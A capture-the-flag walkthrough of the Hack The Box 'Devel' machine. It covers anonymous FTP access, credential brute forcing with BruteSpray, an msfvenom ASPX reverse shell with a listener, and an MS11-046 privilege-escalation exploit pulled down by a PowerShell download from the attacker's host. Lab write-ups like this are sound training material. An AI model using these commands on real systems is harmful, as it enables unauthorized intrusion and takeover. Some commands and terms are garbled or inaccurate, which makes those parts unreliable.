Devel Walkthrough
Hey folks, welcome to Devel machine from Hack The Box, letβs get started with the machineβs info.

Okay, thatβs fine. Itβs easy to level but has very useful ideas and thatβs weβre targeting is βLearn new ideas & techniques every dayβ. Letβs get startedβ¦
Steps
Submit flags & Celebrate
DNS Enumeration
In this step, we need to know the MAC address, open ports, port services, OS version, etc
use Nmap to get the above information
nmap -sV -O -T4 10.10.10.5
-sV β get the service version
-O β OS detection
-T4 β increase the thread's βincrease speedβ
Or you can use -A
to detect versions, services, scripts, etc. To know more, use -h
option to see the optionβs details

from the output, you should note that we have 2 ports open http(80) and ftp(21) and thereβs a dangerous thing Anonymous FTP login allowed
It means that anyone can log in to FTP server without credentials
The second thing you should note that there are information web app directories is available (content discovery)
Take notes of all this information like the OS version.
Website Enumeration
Letβs move to the webpage http://10.10.10.5
but thereβs nothing important and by using dirsearch
you will gain nothing more than the directories which nmap
return.
Letβs try to login to the server by FTP server
ftp 10.10.10.5
It will ask you for credentials but if you donβt type anything you will login successfully as you can see

The next step is will try to upload a file to the server and access it through the website, to know the allowed commands, type help
and you will find put
commands which upload files to the server

we will create a text file just for testing test.html
and try to upload it

the upload commands put test.html
but unfortunately, you will receive an error message that you must login as an authenticated user. And to know the users and passwords in the ftp
server, you can brute force its credentials by BruteSpray
the tool. This tool needs a file nmap
with an extension .gnmap
to get it β nmap -A -T4 -o file_name.gnmap
+ brutespray -f file_name.gnmap.
The results:

Now we have 2 accounts username:anonymous & password: 12345
and username: anonymous & password: 111111.
Now login with these credentials
try to upload the file again with the same method, and itβll work

and then access it through the webpage 10.10.10.5/test.html

Good, Itβs worked. letβs generate the reverse shell by using msfvenom
msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=<your-ip-address> LPORT=4444 -o devel.aspx
-p β payload, to see all payloads
msfvenom -l payloads
-f β file format, to see all formats
msfvenom -l formats
-o β output file
the next step is to upload it as you uploaded the html
file. Iβll upload it and check that itβs uploaded successfully

Exploitation
The next step is to create a listener on my machine to listen for the reversed connection, you can create the listener by netcat
or metasploit.
Remember that we listen on port 4444
netcat β nc -lvp 4444
But Iβll use metasploit
to capture the connection
use multi/handler
set payload windows/shell_reverse_tcp
set LHOST <your-ip-address>
set LPORT 4444
show options
to check that all this information is set successfullyrun
to start the listener
after it, you will access the shell through the webpage 10.10.10.5/devel.aspx.
You will notice that thereβs a meterpreter
opened in the metasploit
as you can see

Post-Exploitation
now weβre in the main server, letβs search for any text files related to usersβ¦

Unfortunately, thereβs nothing here, letβs dig more into the server directories.
Into c:\Users
you will find 2 directories Administrator
and babis

now, we will try to access them but unfortunately, you need to be root
So, we will get more info about the machine to search for exploitation by typing sysinfo

The machine is Windows 7 (6.1 Build 7600) x86.
After searching about exploitation, I found one on exploit-db and the same one in this repo. Itβs a C code so it needs to compile it (The method is mentioned in the code itself)

We need to install mingw64
by this command apt-get install mingw64
then compile it i686-w64-mingw32-gcc MS11β046.c -o MS11β046.exe -lws2_32
Now we need to transfer the compiled file to the machine to execute it so we will deal with the local machine as the server and the vuln machine as client as follow
On the local machine (Kali) python -m SimpleHttpServer 8888
On the vuln machine, we try to use netcat
but unfortunately, itβs not installed

so we will use powershell
β powershell -c "(new-object System.Net.WebClient('http://<your-ip-address>:8888/MS11β046.exe', 'c:\Users\Public\Downloads')"

Good, Itβs worked and the request from the vuln machine in the logs as you can see.
letβs see our role whoami
!! Good we now have root privileges.

Letβs search for the flag files in the c:\Users\Administrator\Desktop
β root flag and c:\Users\babis\Desktop
β user flag
Root flag

User flag

Congrats β€
Stay in touch
Last updated